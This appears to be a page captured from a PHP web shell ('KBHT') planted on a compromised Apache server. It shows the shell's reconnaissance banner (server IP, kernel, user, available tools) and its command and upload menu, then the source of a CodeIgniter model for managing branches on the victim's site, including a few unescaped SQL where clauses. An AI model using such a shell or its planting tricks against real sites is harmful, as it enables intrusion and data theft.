GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.12.152.102
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/pdf/../css/../../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/pdf/../css/../../cas/application/models/admin/BranchManagement.php
<?php

/**
 * Model For Handling All DB Operations Related To Branches
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class BranchManagement extends CI_Model {

    function createNewBranch(array $newBranchInfo) {
        $this->db->insert('tbl_sms_branch_master', $newBranchInfo);
        return $this->db->insert_id();
    }

    function getAllBranches() {
        $this->db->select("TSBM.branch_id,TSBM.branch_name,TSBM.branch_short_name,TSBM.branch_full_address,TSBM.branch_tel_no,TSBM.branch_mobile_no,TSBM.branch_email,"
                . "TSBM.branch_website_url,TSBM.branch_state,TSBM.branch_city,TSBM.branch_active_status,TSBM.branch_delete_status,TSBM.branch_added_by,TSBM.branch_added_on,"
                . "TSBM.branch_bg_image,TSBM.branch_lh_image,TSBM.branch_updated_on,TSBM.branch_updated_by,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin,TCM.city_name,TSM.state_name");
        $this->db->from('tbl_sms_branch_master TSBM');
        $this->db->join('tbl_city_master TCM', 'TSBM.branch_city = TCM.city_id');
        $this->db->join('tbl_states_master TSM', 'TSBM.branch_state = TSM.state_id');
        $this->db->join('tbl_staff_members TSMA', 'TSBM.branch_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'TSBM.branch_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("TSBM.branch_updated_on", "desc");
        return $this->db->get();
    }

    function getBranchInfoBy($branch_id) {
        $this->db->select("TSBM.branch_id,TSBM.branch_name,TSBM.branch_short_name,TSBM.branch_full_address,TSBM.branch_tel_no,TSBM.branch_mobile_no,TSBM.branch_email,"
                . "TSBM.branch_website_url,TSBM.branch_state,TSBM.branch_city,TSBM.branch_active_status,TSBM.branch_delete_status,TSBM.branch_added_by,TSBM.branch_added_on,"
                . "TSBM.branch_bg_image,TSBM.branch_lh_image,TSBM.branch_updated_on,TSBM.branch_updated_by,TSBM.branch_fax,TSBM.branch_city_offc_full_address,TSBM.branch_city_offc_tel_no,TSBM.branch_city_offc_mobile_no,TSBM.branch_city_offc_fax,TSBM.branch_city_offc_email,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,TDDI.tddi_id,TDDI.tddi_doc_file_path branch_logo,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin,TCM.city_name,TSM.state_name");
        $this->db->from('tbl_sms_branch_master TSBM');
        $this->db->join('tbl_document_document_info TDDI', 'TSBM.branch_id = TDDI.tddi_mapping_id');
        $this->db->join('tbl_city_master TCM', 'TSBM.branch_city = TCM.city_id');
        $this->db->join('tbl_states_master TSM', 'TCM.state_id = TSM.state_id');
        $this->db->join('tbl_staff_members TSMA', 'TSBM.branch_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'TSBM.branch_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("TDDI.tddi_user_type_flag", "BL");
        $this->db->where("TSBM.branch_id", $branch_id);
        return $this->db->get();
    }

    function getAllNonDeletedBrances() {
        $this->db->select('*');
        $this->db->from('tbl_sms_branch_master');
        $this->db->where('branch_delete_status', "F");
        return $this->db->get();
    }

    function getAllNonDeletedActiveBrances() {
        $this->db->select('*');
        $this->db->from('tbl_sms_branch_master');
        $this->db->where('branch_active_status', "T");
        $this->db->where('branch_delete_status', "F");
        return $this->db->get();
    }

    function getBranchInfoByName($branch_name) {
        $this->db->select('*');
        $this->db->from('tbl_sms_branch_master');
        $this->db->where('branch_name', $branch_name);
        return $this->db->get();
    }

    function getBranchInfoByEmail($branch_email) {
        $this->db->select('*');
        $this->db->from('tbl_sms_branch_master');
        $this->db->where('branch_email', $branch_email);
        return $this->db->get();
    }

    function getBranchInfoByMobile($branch_mobile) {
        $this->db->select('*');
        $this->db->from('tbl_sms_branch_master');
        $this->db->where('branch_mobile_no', $branch_mobile);
        return $this->db->get();
    }

    function updateBranchInfo(array $branchUpdatedInfo) {
        $this->db->where('branch_id', $branchUpdatedInfo['branch_id']);
        return $this->db->update('tbl_sms_branch_master', $branchUpdatedInfo);
    }

    function isBranchNameSafeUpdate($branch_Id, $branch_name) {
        $this->db->select("*");
        $this->db->from('tbl_sms_branch_master');
        $this->db->where('branch_name', $branch_name);
        $this->db->where('branch_id != ' . $branch_Id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function isBranchEmailSafeUpdate($branch_Id, $branch_email) {
        $this->db->select("*");
        $this->db->from('tbl_sms_branch_master');
        $this->db->where('branch_email', $branch_email);
        $this->db->where('branch_id != ' . $branch_Id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function isBranchMobileSafeUpdate($branch_Id, $branch_mobile) {
        $this->db->select("*");
        $this->db->from('tbl_sms_branch_master');
        $this->db->where('branch_mobile_no', $branch_mobile);
        $this->db->where('branch_id != ' . $branch_Id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

}

KBHT - 2023